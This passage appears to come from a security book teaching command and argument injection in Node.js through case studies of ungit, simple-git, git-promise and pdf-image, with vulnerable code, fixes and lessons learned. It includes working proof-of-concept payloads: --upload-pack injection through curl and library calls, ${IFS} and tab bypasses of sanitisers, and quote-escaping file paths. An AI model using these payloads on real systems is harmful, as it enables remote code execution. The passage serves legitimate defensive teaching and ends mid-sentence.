3. CVE-2022-25766: COMMAND
INJECTION IN UNGIT

The ungit npm package is both an open source library as well as


a full fledged web application to manage git repositories and
aims to be a cross-platform solution.

Figure 4. The ungit npm package popularity ranking


Even from this supposedly unpopular project we can learn a lot
about the surprising ways in which command injection may
occur. Based on Snyk’s Advisor popularity metrics this module
receives just under 1000 downloads a week, hence a really
small user-base. The yearly download count hits about 30,000
and while it isn’t a big user base, many users would be
impacted by a severe vulnerability here. To be fair, ungit is
more of a project than a library, and as such it boasts almost
10,000 GitHub stars which demonstrate a decent popularity
rank.

Like many Git-related libraries, ungit relies on the existence of


the git program on the system it runs on, and uses it in the
form of spawning system processes for functionality like
cloning a repository, and fetching updated source code versions
from Git branches. Surely, at this point you might be thinking
that this is another insecure use of concatenating user input
with system commands from the program. While that is indeed
a common pattern with OS command injection related
vulnerabilities, it isn’t here. At least not exactly in the way you
think.

On March 21st, 2022, a remote command injection vulnerability


was published by the Snyk security research team. A few notes
about this open-source project and the security posture of the
maintainer:
1. This vulnerability impacts all prior versions of the ungit
npm module. For a software component that has been on
the npm registry since 2013, this makes it a very impactful
issue and demonstrates the need for proper dependency
management tools.

2. This command injection security vulnerability was


disclosed on March 2nd and a fixed version addressing the
concerns was published in just under 3 weeks.

Before we continue to learn more from the security


vulnerability report, let’s focus on the original author code. The
following code snippets show the vulnerable code that was
identified as part of the CVE report.

The git-api.js file defines a /fetch API endpoint to which the


web interface can make requests in order to invoke a git fetch
workflow:

Listing 3. ungit/git-api.js

1 const gitPromise = require('./git-promise');


2 app.post(
3 `${exports.pathPrefix}/fetch`,
4 ensureAuthenticated,
5 ensurePathExists,
6 ensureValidSocketId,
7 (req, res) => {
8 // Allow a little longer timeout on fetch (10min)
9 if (res.setTimeout) res.setTimeout(tenMinTimeoutMs);
10
11 const task = gitPromise({
12 commands: credentialsOption(req.body.socketId,
13 req.body.remote).concat([
14 'fetch',
15 req.body.remote,
16 req.body.ref ? req.body.ref : '',
17 config.autoPruneOnFetch ? '--prune' : '',
18 ]),
19 repoPath: req.body.path,
20 timeout: tenMinTimeoutMs,
21 });
22
23 jsonResultOrFailProm(res,
24 task).finally(emitGitDirectoryChanged.bind(null, req.body.path));
}
);

Let’s look at the git-promise.js source file:

Listing 4. ungit/git-promise.js

1 const git = (commands, repoPath, allowError, outPipe, inPipe,


2 timeout) => {
3 let args = {};
4 if (Array.isArray(commands)) {
5 args.commands = commands;
6 args.repoPath = repoPath;
7 args.outPipe = outPipe;
8 args.inPipe = inPipe;
9 args.allowError = allowError;
10 } else {
11 args = commands;
12 }
13
14 args.commands = gitConfigArguments.concat(
15 args.commands.filter((element) => {
16 return element;
17 })
18 );
19 args.timeout = args.timeout || 2 * 60 * 1000; // Default
20 timeout tasks after 2 min
21 args.startTime = Date.now();
22
23 return gitExecutorProm(args, config.lockConflictRetryCount);
24 };

module.exports = git;

It seems that the code path from the original gitPromise()


function call on the API file flows through the gitExecutorProm()
function. Let’s take a look:

Listing 5. ungit/git-promise.js

1 const child_process = require('child_process');


2 const gitExecutorProm = (args, retryCount) => {
3 let timeoutTimer;
4 return pLimit(() => {
5 return new Promise((resolve, reject) => {
6 if (config.logGitCommands)
7 winston.info(`git executing: ${args.repoPath}
8 ${args.commands.join(' ')}`);
9 let rejectedError = null;
10 let stdout = '';
11 let stderr = '';
12 const env = JSON.parse(JSON.stringify(process.env));
13 env['LC_ALL'] = 'C';
14 const procOpts = {
15 cwd: args.repoPath,
16 maxBuffer: 1024 * 1024 * 100,
17 detached: false,
18 env: env,
19 };
20 const gitProcess = child_process.spawn(gitBin,
21 args.commands, procOpts);
22 timeoutTimer = setTimeout(() => {
23 if (!timeoutTimer) return;
24 timeoutTimer = null;
25
26 winston.warn(`command timedout: ${args.commands.join('
27 ')}\n`);
28 gitProcess.kill('SIGINT');
29 }, args.timeout);
30 // ...
});
});
};

Spend some time now reasoning about the code path as shown
above and locating where the vulnerability lies in the code.

1. If you were doing a code review, what could you share


about the gitExecutorProm() function from a secure coding
conventions point of view?

2. Can you think of methods of securely building an


application that provides Git management functionality that
doesn’t involve spawning system commands or relying on
the git program?


NOTE

One of the reasons for missed security vulnerabilities is that real-world


code-bases tend to be large, even with microservices architecture. Like in
this case, code paths also tend to flow between different files, which
further contributes to difficulties finding them.
3.1. About the Security Vulnerability
The security vulnerability impacting ungit, as described in the
Snyk report, is said to be vulnerable to Remote Code Execution
(RCE) via argument injection. When using the /api/fetch
endpoint, the problem occurs. The git fetch command receives
user-controlled values (such as remote and ref). As such, it was
possible to achieve unrestricted command execution by
injecting git-supported command-line parameters.

The CVE report, CVE-2022-25766, provides further details as to


the vulnerable version range and severity:

1. It impacts all versions of ungit up to versions identified by


the range <1.5.20.
2. It finds this vulnerability’s severity to be high with a CVSS
score of 8.8. This is due to identifying the vulnerability’s
Attack Vector of Network, as well as not requiring any user
interaction nor elevated privileges on systems that deploy
ungit.

3.2. Setting Up a Vulnerable Test Environment


To get started, we’re going to need to deploy versions of ungit
prior to 1.5.20. A functional and recent version candidate is
[email protected] which was published on January 30th, 2022.

TIP

You can use a free and public Snyk endpoint to test for security
vulnerabilities in specific versions of npm packages, by querying the URL
endpoint such as the following: https://snyk.io/test/npm/ungit/1.5.19

While there are several ways of getting ungit deployed locally,


we’ll install the specific package version that includes the code
vulnerability into a temporary directory, as follows:

1. Create an empty directory, such as: mkdir /tmp/ungit-test

2. In this newly created directory, initialize an npm project as


follows: npm init -y

3. Install a known vulnerable version of ungit as follows: npm


install [email protected] --ignore-scripts --save
4. Create another directory to initialize a Git project in:

a. Create the directory mkdir /tmp/example-git-repo

b. In the newly created directory, initialize a Git working


space: cd /tmp/example-git-repo && git init

c. Head over to the directory where we installed ungit in


(/tmp/ungit-test) and now we’ll run it and force it to
open up with the sample Git repository that we
initialized in /tmp/example-git-repo. To do that, run it as
follows: ./node_modules/.bin/ungit --forcedLaunchPath
/tmp/example-git-repo.

If you followed all of the above steps correctly, you should have
ungit running and automatically opening a browser tab that
loads the local application and logs the following output:

Took 512ms to start server.


Navigate to http://localhost:8448/#/repository?path=/tmp/example-git-repo

Here’s a screenshot of the ungit application running as per the


above instructions:

Figure 5. The ungit npm package runs in a local development environment and exposes
an administration user interface.
3.3. Exploiting the Security Vulnerability
The source code on line 69 in git-promise.js shows the way in
which the git process is executed:

Listing 6. ungit/git-promise.js

const gitProcess = child_process.spawn(gitBin, args.commands, procOpts);

On the surface, this looks like a secure way of invoking system


commands. Indeed, the Node.js API spawn() does well to
separate the program being executed (gitBin) from the
command-line arguments passed to it (args.commands).

Where does the security vulnerability lie? Your first question to


ask here is: which parts of this line of code are user-controlled?

The source code for git-promise.js shows that gitBin is


essentially a constant that is being resolved using program
heuristics to match the git program on the system it runs on:
Listing 7. ungit/git-promise.js

1 const gitBin = (() => {


2 if (config.gitBinPath) {
3 return (config.gitBinPath.endsWith('/') ? config.gitBinPath :
4 config.gitBinPath + '/') + 'git';
5 }
6 return 'git';
})();
Let’s look at the second function argument of that spawn()
function call - args.commands. It is necessary to trace back to one
of the functions that calls args.commands to learn what type of
variable data is handled here. Let’s examine the relevant source
code of the /api/fetch endpoint in git-api.js:
Listing 8. ungit/git-promise.js

1 const task = gitPromise({


2 commands: credentialsOption(req.body.socketId,
3 req.body.remote).concat([
4 'fetch',
5 req.body.remote,
6 req.body.ref ? req.body.ref : '',
7 config.autoPruneOnFetch ? '--prune' : '',
8 ]),
9 //..
})

Reading the source code above, it seems the passed commands


array is hard-coding the fetch string, hence creating a git fetch
command to be executed. While on the surface this looks
secure, it also includes user input originating from the HTTP
request body in the form of the remote, and ref fields. The end
result of a typical command that would be executed is:

git fetch <remote> <ref>

What’s a remote in Git? You probably think of remote Git URLs


to clone, and fetch. The maintainer of this library thought the
same.
Apparently, the fetch command in the git program has a special
argument passed to it as the value of remote. Let’s look at the
manual page for the git program for that:

> git fetch -h


usage: git fetch [<options>] [<repository> [<refspec>...]]
or: git fetch [<options>] <group>
or: git fetch --multiple [<options>] [(<repository> | <group>)...]
or: git fetch --all [<options>]

-v, --verbose be more verbose


-q, --quiet be more quiet
--all fetch from all remotes
--set-upstream set upstream for git pull/fetch
-a, --append append to .git/FETCH_HEAD instead of overwriting
--upload-pack <path> path to upload pack on remote end

What does the --upload-pack option do? In this way, it is


possible to set a path for a program to be called, upon which it
will perform some Git-related work, on a certain path.

Well, then let’s try it out locally, outside of the whole ungit
program. To test things out, we can make use of the sample Git
repository we created before. Run the following commands in
your terminal:

1. cd /tmp/example-git-repo

2. git fetch --upload-pack=touch liran-was-here

After running it you’ll notice that the git program exited with an
error about not being able to read from a remote repository. Of
course, because we didn’t provide one. But guess what
happened? That’s right, a new file named abc was created on
disk:

example-git-repo on  master [?]


> ls -al
total 0
drwxr-xr-x 4 lirantal wheel 128 21:38 .
drwxrwxrwt 12 root wheel 384 20:49 ..
drwxr-xr-x 10 lirantal wheel 320 21:38 .git
-rw-r--r-- 1 lirantal wheel 0 21:38 abc

With this knowledge, we can turn that into a functional exploit


that we will employ as part of the /api/fetch API route that
ungit exposes. In fact, the maintainer indeed shared such an
exploit as part of a public pull request on the GitHub repository,
which includes a fix for the issue.

Here’s the exploit command payload to execute while the ungit


service is running in the background with a repository loaded:

curl -d '{"path":"/private/tmp/example-git-repo","remote":"--upload-
pack=touch /tmp/liran-is-here-too","ref":"foobar","socketId":1}' \
-H "Content-Type: application/json" \
-X POST http://localhost:8448/api/fetch

Now, check your file system for the existence of the file
/tmp/liran-is-here-too, demonstrating how an Argument
Injection attack works.

At this point, if you fancy creating a remote reverse shell


example, the original exploit as shared in the aforementioned
GitHub pull request features a local server used with the netcat
command that shows how the Node.js server running the ungit
program will actually attempt to connect to your own service:

curl -d '{"path":"/private/tmp/example-git-repo","remote":"--upload-pack=curl
http://localhost:8000","ref":"foobar","socketId":1}' \
-H "Content-Type: application/json" \
-X POST http://localhost:8448/api/fetch

3.4. Reviewing the Security Fix


NOTE

Take a moment to come up with your own ideas and methods before
reading the details of the fix for the command injection vulnerability
without making a significant change.

The maintainer created a pull request to address the command


injection vulnerability. Let’s see what we can learn from
examining the commit diff:

1 From 37a6893f7e03c41c1027acd68de062f44d85acc1 Mon Sep 17 00:00:00


2 2001
3 From: "Jung (JK) Kim" <[email protected]>
4 Date: Thu, 17 Mar 2022 17:21:05 -0700
5 Subject: [PATCH] Fix potential remote code exec
6
7 ---
8 source/git-api.js | 3 ++-
9 1 file changed, 2 insertions(+), 1 deletion(-)
10
11 diff --git a/source/git-api.js b/source/git-api.js
12 index 4aec16c2c..c566f082c 100644
13 --- a/source/git-api.js
14 +++ b/source/git-api.js
15 @@ -292,9 +292,10 @@ exports.registerApi = (env) => {
16 const task = gitPromise({
17 commands: credentialsOption(req.body.socketId,
18 req.body.remote).concat([
19 'fetch',
20 + config.autoPruneOnFetch ? '--prune' : '',
21 + '--',
22 req.body.remote,
23 req.body.ref ? req.body.ref : '',
24 - config.autoPruneOnFetch ? '--prune' : '',
25 ]),
repoPath: req.body.path,
timeout: tenMinTimeoutMs,

The simplistic one-liner fix here is actually very powerful and


demonstrates a deep understanding of how the Unix shell
works.

The fix is to add the set of -- characters to the constructed git


command, which turns it into the following:

git fetch -- touch /tmp/liran-is-here-too foobar

How is that useful in mitigating the vulnerability?

The use of the -- characters have a special meaning for the shell
interpreter. It signals to the program (git in our case) to stop
processing command-line arguments after the occurrence of
the --, and treats anything after it as positional arguments to
the git program.

It is an elegant solution to avoid argument injection in program


execution that leaks into the parsing of command-line
arguments.


NOTE

What other Unix utilities, that are often used as offloading work to, in the
form of system commands, can you think of? Do they include any
arguments that may result in arbitrary command injection?
3.5. Lessons Learned
The OS Command Injection vulnerability in the ungit project
revealed a valuable learning experience for us. To begin with, it
is crucial to avoid string concatenation for input flowing to a
system command, as it may be controlled by users. The
following Node.js system processes API call makes use of the
insecure exec() function:

const gitProcess = child_process.exec(`${gitBin} ${args.commands}`);

That said, one might have deferred to the safer version of


executing system processes, either with spawn(), or with
execFile(). Yet, the following code snippet is taken from ungit
original source code which was found vulnerable:

const gitProcess = child_process.spawn(gitBin, args.commands, procOpts);

The key lesson we learned from this security vulnerability is the


case of argument injection. This is because attackers are able to
control the data passed as arguments to the executed command.
By doing so, they are able to manipulate the original intention
of a command and drive a different behavior through its
supported command-line arguments.

We learned about this attack vector, and more importantly, how


to effectively mitigate such concerns by employing the double
dash -- special shell characters which communicates the end of
arguments and options parsing, and leaves further string text to
be interpreted as position arguments to a command.

Further learning about Argument Injection attacks:

▪ Argument injection impacting Git via CVE-2018-17456


▪ Argument injection impacts Docker’s build command via
CVE-2019-13139

OceanofPDF.com
4. CVE-2022-24066: COMMAND
INJECTION IN SIMPLE-GIT

If you find the ungit argument injection lesson educational, but


think it to be not as impactful on the ecosystem due to the npm
package being small in popularity as a project dependency, then
I have news for you.

Let me direct your attention to the npm package simple-git,


which boasts nearly 2 million downloads a week, and was
found vulnerable to the same attack vector, identified as CVE-
2022-24066.
Figure 6. The simple-git npm package popularity ranking

So, simple-git is so popular that it is also used as a direct


dependency in many projects. Looking at the log of all security
vulnerabilities disclosed to the library, we learn that CVE-2022-
24433 was assigned and disclosed on 11th of March 2022 for a
similar case of Argument Injection as we learned with the case
of ungit:
Figure 7. The GitHub pull request that fixes the argument injection vulnerability in
simple-git

The fix in pull request #767 was merged and published as


version 3.3.0. Yet, just a short two weeks later, it was still found
susceptible to the same attack vector, identified and disclosed
as CVE-2022-24066.

FUN FACT

The command injection vulnerability discussed in this chapter was


identified and disclosed as CVE-2022-24066 on March 29th as found by the
author of this book, Liran Tal. In addition, Liran discovered a similar
attack vector impacting the git-pull-or-clone npm package, identified by
CVE-2022-24437, and several other npm packages.

4.1. About the Security Vulnerability


As would be expected, a Git-related library would provide a
plethora of Git capabilities to consumers. While the former
vulnerability had identified and mitigated the attack vector of
Git’s fetch command, it didn’t take into account other
commands that support the --upload-pack argument. One
example of such a command is the 'git clone`command that is
used in the simple-git package, yet had no security controls to
protect against Argument Injection.

4.2. Exploiting The Security Vulnerability


The exploitation of the repository clone API requires the
following conditions to be met:

▪ The ability to specify a non-HTTP accessible Git repository, so


a filesystem-based Git workspace would be an ideal option.
▪ A file path to be specified, allowing for empty directories.
▪ When handling an array of command-line arguments, they
aren’t sanitized, escaped or otherwise modified.

With that, we’re ready to demonstrate how a command


injection vulnerability occurs when users control the options
passed to this git.clone() API call:

const simpleGit = require('simple-git')

const git = simpleGit()


git.clone('file:///tmp/zero123', '/tmp/example-new-repo', ['--upload-
pack=touch /tmp/pwn']);

Once the code has executed, a new file is created /tmp/pwn.

4.3. Reviewing the Security Fix


To mitigate the security vulnerability, the maintainer added the
following logic as a security control and released this fix in the
updated package version [email protected]:

Listing 9. simple-git/src/lib/tasks/clone.ts

1 + function disallowedCommand(command: string) {


2 + return /^--upload-pack(=|$)/.test(command);
3 + }
4
5 + export function cloneTask(repo: string | undefined, directory:
6 string | undefined, customArgs: string[]): StringTask<string> |
7 EmptyTask {
8
9 + const banned = commands.find(disallowedCommand);
10 + if (banned) {
+ return configurationErrorTask(`git.fetch: potential
exploit argument blocked.`);
+ }

As a result, this code change effectively mitigates the reported


vulnerability. However, several concerns arise:

1. Once again, the fix is only applied to a specific user-facing


API method of Git. What new security vulnerabilities will be
discovered if there are other Git commands that support the
--upload-pack command-line argument on top of clone, and
fetch?

2. The fix follows a deny-list approach, which maintains a list


of potentially dangerous commands. The logic for
disallowedCommand only includes the --upload-pack
command-line argument as an attack vector to filter, but
what happens if future Git versions use other command-line
arguments? simple-git maintained will need to keep this
code up to date.

Will these security mitigations help prevent future exploitation


techniques from impacting the simple-git library? Time will
tell.

NOTE

Argument Injection vulnerabilities shouldn’t be underestimated. They can


be used to execute arbitrary commands on the host machine. They can be
chained with other vulnerabilities to achieve remote code execution (RCE)
on the host machine.

One case study of the real-world security implications of argument


injection vulnerabilities is unveiled in HackerOne report #658013, which
details how the open-source GitLab project was exploited using query
parameters in HTTP requests that allowed arbitrary command-line
arguments to be injected into the Git command.
4.4. Lessons Learned
Beyond using safe system process APIs and practicing secure
coding conventions, this vulnerability teaches us that when we
defer to spawning operating system commands, we should
carefully examine the fine details of arguments passed to
commands. Taking into account command-line arguments, and
positional values passed to the command as part of our security
controls against command-injection is critical to mitigate
potential threats.

In summary:

1. It is critical to sanitize and validate user input, especially


when passing input as command-line arguments, to prevent
command injection attacks.
2. Using a deny-list approach to security controls may not be
sufficient, as it may not cover all potential attack vectors.
Developers should also consider an allow-list approach
when building security controls.
3. Popularity does not necessarily reflect a project’s security
posture, nor should it convey that it is secure or free of
vulnerabilities.
4. With the use of third-party libraries for sensitive tasks such
as executing system processes, developers would do well to
review the code of said libraries.
5. Security fixes may not cover all attack vectors.

OceanofPDF.com
5. CVE-2022-24376: COMMAND
INJECTION IN GIT-PROMISE

Is it possible that a package that was downloaded more than


2,230,590 times since its inception in 2014 was vulnerable all
that time to a command injection vulnerability?

Figure 8. Downloads per year for the git-promise npm package

We are no short of command injection attacks impacting a


myriad of Git-related libraries and wrappers. This time it’s a
vulnerability impacting the git-promise open-source project. It
is a Node.js library that is aimed at being a Promised-based Git
utility wrapper, allowing API consumers to run any git
command.

The git-promise npm package has been in the ecosystem for


quite some time now, with the initial version dating back to
2014, and has gained recognizable popularity, both through
12,000 weekly downloads by end users and projects, as well as
being occasionally used as a direct dependency, according to
the Snyk Advisor.

A Remote Code Execution vulnerability was disclosed on April


25th, 2020, identified by CVE-2022-24376, in which all versions
of git-promise were affected by the following proof of concept
exploitation:

var git = require("git-promise");

git("init;touch HACKED").then(function (branch) {


console.log(branch);
});

Through the responsible disclosure process for this


vulnerability report, update version [email protected] was
released which fixes the issue.

Specifically, lines 26 to 41 of index.js in the commit diff shed


more light on how the problem was mitigated:

1 From ce122adb7b7ceae3813abeedadf73d57a67d39ba Mon Sep 17 00:00:00


2 2001
3 From: Fabio Crisci <[email protected]>
4 Date: Sat, 29 Feb 2020 11:41:06 +0900
5 Subject: [PATCH] Upgrade to a more modern code. (#8)
6
7 diff --git a/index.js b/index.js
8 index a86695c..5be15db 100644
9 --- a/index.js
10 +++ b/index.js
11
12 - shell.exec(command, {silent: true}, function (code,
13 output) {
14 - var args;
15 -
16 - if (options && options.cwd) {
17 - shell.config.silent = true;
18 - shell.popd();
19 - shell.config.silent = originalSilent;
20 - }
21 -
22 - if (callback.length === 1) {
23 - // Automatically handle non 0 exit codes
24 - if (code !== 0) {
25 - var error = new Error("'" +
26 command + "' exited with error code " + code);
27 - error.stdout = output;
28 - return deferred.reject(error);
29 + const execBinary = options.gitExec || "git";
30 + const execOptions = {
31 + cwd: options.cwd,
32 + windowsHide: true,
33 + };
34 + const execArguments = isString(commandOrArgs)
35 + ? commandOrArgs.split(" ")
36 + : commandOrArgs;
37 + return execFile(execBinary, execArguments,
38 execOptions).then(
39 + ({stdout}) => callback(stdout, null),
40 + (error) => {
41 + if (callback.length === 1) {
+ throw error;
+ } else {
+ // The callback is interested in
the error, try to catch it.
+ return callback("", error);

On the surface, this looks like a necessary fix for a command


injection vulnerability. The prior codebase made use of the
exec() API and concatenated user input which flowed into the
command variable passed to the function.

The published fix addresses these concerns as follows:

1. The execFile() function replaces the single command string


that flows into exec() with a hard-coded (execBinary)
variable to represent the git binary, as well as passing
arguments (execArguments) separately.

2. Command arguments passed via the 'commandOrArgs'


variable are split based on a space character. This means
that each argument is a member of an array of
'execArguments' passed to the command.

5.1. About the Security Vulnerability


Let’s see if we can apply lessons learned from prior
vulnerabilities we reviewed and apply an exploit to this Git-
based library. Since this is a generic Promise-based wrapper, it
makes sense that we try a known vector such as --upload-pack
along with a clone or fetch command. Here we go:
Listing 10. simple-git/src/lib/tasks/clone.ts

const git = require("git-promise");

git("fetch origin --upload-pack=touch /tmp/abcd",


{cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))

You may try running this proof of concept using the fixed git-
[email protected] version, and you’d indeed observe that the file
/tmp/abcd isn’t created on disk. That’s due to the "split by space"
logic that the fix included, which renders the malicious payload
of --upload-pack=touch /tmp/abcd into two separate command
line arguments: --upload-pack=touch, and /tmp/abcd, which don’t
make sense to the git program.

5.2. Exploiting the Security Vulnerability


While the fix employs a safe API pattern for executing system
processes, as well as including active sanitization using the
space character array, we can still find ways to circumvent it.

One of the first proof of concept exploits that takes advantage of


the incomplete fix in [email protected] is as simple as passing
input where the separator is tabs instead of spaces. Consider
the following code:

const git = require("git-promise");

// Use a tab control character instead of space


// to separate between the touch command and its argument
git("fetch origin --upload-pack=touch /tmp/abcd",
{cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))
If you copy and paste this code properly, you’ll notice that
there’s a TAB control character employed between "touch" and
"/tmp/abcd". Don’t mistake that for a space. If you are typing
this code manually, be sure to hit the tab key, and then run the
program.

Developers can further apply sanitization logic and filter both


spaces and tabs. That seems like an effective defense against
command injection. Except when it isn’t. Knowledgeable
command-line experts with deep knowledge of special shell
characters could circumvent these sanitizer functions.

Consider the following exploit payload:

const git = require("git-promise");

// Use the shell's predefined separator ${IFS}


// to escape the whitespace splitting logic
git("fetch origin --upload-pack=touch${IFS}/tmp/abcd-new",
{cwd: '/tmp/example-git-repo'}).then((output) => console.log(output))

With this program’s code, the "split by spaces" logic fails and
simply passes --upload-pack=touch${IFS}/tmp/abcd-new as a valid
command-line argument to the git program.

The ${IFS} string has a special meaning when used in shell


environments. It’s an acronym for Internal Field Separator, and
the ${} string tells the shell to evaluate the environment’s IFS
variable available to the shell. By default, a field separator is
represented by, you guessed it, a space character.
5.3. Reviewing the Security Fix
Unfortunately, the git-promise package has not been actively
maintained and includes no security fixes. The last functional
commit to the repository was Feb 29, 2020 with the release of
version 1.0.0. As it currently stands, all versions of the package
are vulnerable to the command injection attack depicted in
CVE-2022-24376.

While maintainers of open-source packages may not have the


time to actively code a security fix or publish updated versions
even if provided with one. However, there are still ways to help
the community and lower the risk of other developers using a
vulnerable package.

One such way is to update the project’s README file to include


a disclaimer about the security vulnerability. This serves as a
warning to developers who survey the project. It is good
practice for open-source projects, given that no other security
fix is available as mitigation.

On May 2022, the git-promise project received and merged a


pull request to add a security disclaimer and let its users know
of the security risk.
Figure 9. A security disclaimer added to the git-promise project README
5.4. Lessons Learned
The discovery of a Command Injection vulnerability in the git-
promise npm package reminds us of the importance of input
validation and sanitization.

The vulnerability was due to user input not being properly


sanitized before being passed to the exec() function. This
allowed an attacker to inject arbitrary commands into the
function. A prior security fix involved replacing the exec()
function with execFile() and passing arguments separately as
mitigation. However, that was not enough and left the package
vulnerable.

The use of sanitizer logic such as splitting or completely


filtering space or tab control characters isn’t an effective way to
guard against Command Injection or Argument Injection
attacks.

It is interesting to note that the overall popularity of the git-


promise project has declined since this vulnerability was
reported:

1. In March 2022, this security vulnerability identified as CVE-


2022-24376 was publicly disclosed.
2. In April 2022, the package had 54,286 monthly downloads.
3. In May 2022, the package’s GitHub page was updated with a
security disclaimer.

4. By March 2023, monthly downloads had dropped to 8,668.


This is a steep 84% decrease in the number of downloads
over time.

Not to confuse correlation with causation, but it is interesting to


note that the popularity of the git-promise project has been on
the decline since this vulnerability was reported and hopefully
helped to raise awareness of the security risk and deter
developers from using the package.

Figure 10. git-promsie monthly downloads up to March 2023

As a final note, this vulnerability highlights the value of


responsible security disclosure as well as the maintainers'
proactive involvement in lowering the security risk even when
they are unable to publish a security fix.

OceanofPDF.com
6. CVE-2018-3757: COMMAND
INJECTION IN PDF-IMAGE

The npm package pdf-image, describes itself as a library that


provides an interface to convert PDF pages to PNG files in
Node.js using ImageMagick.

It reached peak popularity in 2020 with 430,543 yearly


downloads, according to npm-stat.com.

Figure 11. The pdf-image npm package downloads per year

Up to January 2022, it had 1,307,246 downloads. While its use by


developers and end-users has decreased significantly, as of
April 2022 it still captured over 20,000 monthly downloads.
There’s a fascinating story that the above downloads graph fails
to capture - the rise in usage for this library in the face of
existing publicly known vulnerabilities that impact all known
versions of this library.

Following is an annotated chart showing the date in which the


vulnerability was publicly disclosed as CVE-2018-3757:

Figure 12. Point-in-time downloads for the pdf-image npm package when the vulnerability
was disclosed

Despite pdf-image harboring publicly known vulnerabilities, its


usage has continued to grow. This raises concerns, such as:

1. Are developers unaware of which software components and


open-source libraries they are using?

2. Are developers and security operations not following


security best practices such as integrating Software
Composition Analysis (SCA) tools into their development
and Continuous Integration (CI) processes? These tools help
find, alert, and automatically apply fixes to third-party
open-source libraries by suggesting upgrades to fixed
versions.

Let’s continue exploring this library’s security aspects. One


example of usage is documented on the 'pdf-image' project
page. It shows a web service that converts PDF files on-the-fly,
and returns a PNG image:

1 app.get(/(.*\.pdf)\/([0-9]+).png$/i, function (req, res) {


2 var pdfPath = req.params[0];
3 var pageNumber = req.params[1];
4
5 var PDFImage = require("pdf-image").PDFImage;
6 var pdfImage = new PDFImage(pdfPath);
7
8 pdfImage.convertPage(pageNumber).then(function (imagePath) {
9 res.sendFile(imagePath);
10 }, function (err) {
11 res.send(err, 500);
12 });
13 });

The above code snippet demonstrates a file path provided to the


PDFImage() constructor. This then allows calling the method
pdfImage.convertPage() which returns the post-processed image
file.

6.1. About the Security Vulnerability


What does a command injection vulnerability have to do with
image conversion? To that end we need to introduce you to a
library called ImageMagick, which pdf-image relies on.

ImageMagick is a powerful and versatile open-source software


suite that allows users to create, edit, and convert raster and
vector images in a variety of formats. It includes a range of
command-line tools and a programming interface that allows
developers to integrate image processing capabilities into their
applications using language bindings. It is widely used and
highly regarded in the industry, and is available on a variety of
platforms, including Windows, macOS, and GNU/Linux.

The npm package pdf-image relies on ImageMagick but does not


use its native programming interface. Instead, it uses
ImageMagick’s command-line tools: convert and pdfinfo
commands, to perform its image processing tasks.


NOTE

Some GNU/Linux distributions and Docker-based container images don’t


require explicit installation of the ImageMagick library because it is
already bundled as part of the operating system dependencies.

The responsible disclosure report pointed out the following


source code as vulnerable:
Listing 11. pdf-image/index.js

1 constructGetInfoCommand: function () {
2 return util.format(
3 "pdfinfo \"%s\"",
4 this.pdfFilePath
5 );
6 },

However, why is that code vulnerable? It seems that there’s a


genuine attempt, albeit lacking, to protect against command
injection by wrapping the file’s path in quotes. This security
control in the form of input sanitization occurs before a
command shell is instantiated and the user’s command is
executed (the library uses child_process.exec).

So, in essence a file path input such as my-salary.pdf; touch


/tmp/pwned would be passed as a string of text to the pdfinfo
command as follows:

$ pdfinfo "my-salary.pdf; touch /tmp/pwned"

You can see that double quotes surround the string of text that
is supposed to be the file path argument provided to the pdfinfo
command. Given that no such file exists, the command injection
attempt fails.

Exploring further the library’s logic, the


constructGetInfoCommand() function call gets called by
numberOfPages(), which is part of the core PDF file conversion
logic:
Listing 12. pdf-image/index.js

1 convertFile: function () {
2 var pdfImage = this;
3 return new Promise(function (resolve, reject) {
4 pdfImage.numberOfPages().then(function (totalPages) {
5 var convertPromise = new Promise(function (resolve,
6 reject){
7 var imagePaths = [];
8 for (var i = 0; i < totalPages; i++) {
9 pdfImage.convertPage(i).then(function(imagePath){
10 imagePaths.push(imagePath);
11 if (imagePaths.length === parseInt(totalPages)){
12 imagePaths.sort();
13 resolve(imagePaths);
14 }
15 }).catch(function(error){
16 reject(error);
17 });
18 }
});

It is interesting to note that developers sometimes rush to


obvious security controls they know of and completely miss the
proper way of mitigating a security vulnerability. As such, we’d
have expected that the convertPage() function here would be
sanitized as it indeed calls Node.js API’s exec() as follows:

Listing 13. pdf-image/index.js

1 exec(convertCommand, function (err, stdout, stderr) {


2 if (err) {
3 return reject({
4 message: "Failed to convert page to image",
5 error: err,
6 stdout: stdout,
7 stderr: stderr
8 });
9 }
10 return resolve(outputImagePath);
11 });

And our expectations would’ve been correct, because prior to


passing convertCommand to exec() directly, it passes through the
following sanitization logic:

Listing 14. pdf-image/index.js

1 constructConvertCommandForPage: function (pageNumber) {


2 var pdfFilePath = this.pdfFilePath;
3 var outputImagePath =
4 this.getOutputImagePathForPage(pageNumber);
5 var convertOptionsString = this.constructConvertOptions();
6 return util.format(
7 "%s %s\"%s[%d]\" \"%s\"",
8 this.useGM ? "gm convert" : "convert",
9 convertOptionsString ? convertOptionsString + " " : "",
10 pdfFilePath, pageNumber, outputImagePath
11 );
},

As you can see, an attempt is made to mitigate injection attacks


by wrapping the file path in double quotes.

6.2. Exploiting the Security Vulnerability


So, how do you counter-attack a double quotes constraint?

Here’s the proof-of-concept exploit provided by the original


security researcher, N B Sri Harsha:
1 var PDFImage = require("pdf-image").PDFImage;
2 var pdfImage = new PDFImage("asd.pdf\"; touch /tmp/hacked\"");
3
4 pdfImage.numberOfPages().then(function (imagePath) {
5 console.log(imagePath);
6 })

A string input that is as simple as escaping the stringified shell


command using a backslash. Additionally, the command is
closed with the required extra double quotes to ensure validity.

If you run this Node.js command-line program with a


vulnerable version of pdf-image you’ll see the file /tmp/hacked
created on disk.

6.3. Reviewing the Security Fix


The security researcher provided a recommended code fix that
addresses all vulnerable function usage of exec() in the original
source code of pdf-image.

The fix commit is available in this GitHub fork, which has also
been raised as a pull request to the upstream repository.
However, it hasn’t been merged and no fixed pdf-image version
was published.
Figure 13. The GitHub pull request attempts to fix the pdf-image command injection
vulnerability
6.4. Lessons Learned
Two primary lessons can be learned from the pdf-image
command injection vulnerability:

1. A lack of understanding of how third-party libraries and


tools work and integrate can lead to security vulnerabilities.
In this case, the pdf-image package used ImageMagick’s
pdfinfo command-line tool to extract metadata from PDF
files.

The pdf-image package relied on the exec() Node.js API to


execute the pdfinfo command, which was vulnerable to
command injection attacks.

2. Applying an incorrect security control to mitigate a security


risk. The developer of pdf-image attempted to mitigate the
command injection vulnerability by wrapping the file path
in double quotes, in an attempt to avoid the shell from
